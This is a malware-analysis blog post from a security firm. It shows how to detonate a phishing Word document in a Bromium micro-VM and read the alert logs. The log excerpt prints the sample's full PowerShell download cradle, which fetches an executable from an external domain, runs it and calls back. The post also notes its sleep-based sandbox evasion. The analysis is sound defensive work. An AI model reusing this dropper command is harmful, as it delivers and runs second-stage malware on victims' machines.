1-616-874-7810 info@vdalabs.com

Welcome to part 3 of our “Modern Phishing Attack” series where we are dissecting a phishing attack: from delivery, to looking at several malware analysis techniques, to provide a basic understanding of how these attacks work. If you would like to catch up, links to Part 1 and Part 2 are below.

NOTE: If you are going to examine malware it is important to do so safely – using a sandbox or virtual machine is the best option. The post below does not teach all steps that are necessary for protection, only a general workflow.

Examining Malware with Bromium

In this post we will walk through a basic workflow for using Bromium to gain a quick-take level of understanding of what a suspicious document is doing when it executes on your system. Bromium has a suite of tools around virtualization based security. We are going to use Bromium vSentry here. vSentry is a microvirtualization based endpoint protection product that allows for malicious items to execute within an isolated microVM for containment. VDA also teaches a more in-depth malware analysis training course that covers this technique in addition to many others.

Don’t Trust That File!

The first step when examining potential malware with Bromium is to make sure the file is “untrusted” by Bromium (Br) itself. This is usually done by default depending on how you received the file, however since we’re running Br in a virtual machine, we have to be sure.

In order to untrust the file, start by opening an administrator CMD.exe prompt: find CMD in your start menu, and right click+”Run as Administrator”. From this command prompt, navigate to where the suspect file is. Once there, run the command “brmanage untrust-file -path=’file-name.doc'”. After this is complete, the file should have the small Br icon on it when viewed in file explorer (see right hand side below). We are now ready to detonate this payload!

Let’s Run Some Malware!

The next step is as easy as acting like a user – double click the file to run it within the Br micro VM. The screenshot below shows the file as it was opened before, along side the Br “live view” console – thus confirming that the office doc is executing in the uVM. The Bromium contained version of Word executes the macros within the document automatically. Note: do NOT click the “Trust this File” button at the top! This would be for only when you have confirmed that the file is NOT malicious.

The next step is to check in the Br console to see what it detected when the file executed. We do this by right clicking on the Br tray icon in the bottom right, then clicking “Open Desktop Console” then finding the “Security Alerts” tab. The window should look something like this, showing our recent detonation at the top. We have been busy!

From here you can double click on the recent event in order to see the Bromium Alert Inspector. This shows a general flow of what happened when the file opened. The malware sample in question is below.

Here we can definitely start to gain some insight into what this malware is doing. The “Long Sleep Call” is a common technique malware may use to try to bypass detection sandboxes. Next the “Invoked Powershell.exe” is called. PowerShell is very commonly used by hackers at this time, and we use it ourselves on penetration testing engagements. The Security Alert Inspector does not surface all of the details as to what happened. Let’s use some final tooling to extract that information.

Reading the Bromium Log

Details regarding recent security events are stored by Br at “_USER DIRECTORY_\App Data\local\Bromium\vSentry\BrMVData\Security\events\[EVENT ID]”. You can identify the event you want by looking at the time stamp. We prefer to then copy the contents of the event folder to the directory where we are doing the malware analysis work. Next we will run a Bromium script that will parse the .devts file and tell us more about what executed. The main output of this is copied below.

| 11:13:21 | WINWORD.EXE | Execute Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://trondyfeveryfeellnas.com/TZ/goboti.pyc', $env:APPDATA + '\dMwA.exe'); Start-Process $env:APPDATA'\dMwA.exe'; (New-Object System.Net.WebClient).DownloadString('http://trondyfeveryfeellnas.com/s.php?id=goboti'); |
_____________________________________________________________________________________________

___________________________________________________________________________________________
HOOKS
_____________________________________________________________________________________________
| 10:56:52 | API Call API=SleepEx;time=120000; |
| 11:00:15 | API Call API=AdjustPrivilegesToken;Privilege=SeShutdownPrivilege; |

At this point we can see all of the gory details of what is happening within this malware – but unfortunately it’s not even that interesting in this particular case. The sample above does little more than these three things:

  1. Download and execute stage 2 payload from a given URL using PowerShell
  2. The sleep call – which tries to hide the malware from automated analysis
  3. A call to enable SeShutdownPrivilege is made

This type of malware is what we would call a dropper, or PowerShell download cradle. It’s main job is to run on the system and download/execute a second stage payload.

We have a basic understanding of the malware, so what’s next?

Now that we have a basic understanding of the malware, what should we do from here? If we are treating this as an incident response:

  1. We would want to block the dropper domain across our network to prevent further spread.
  2. Remediate any affected machines.
  3. We may need to understand what the second stage of the payload does.

Since we are doing this more from a research perspective, however, we are going to do some further testing! Check back soon for our next post where we will run this sample through VirusTotal and see if AV products would have prevented it from executing.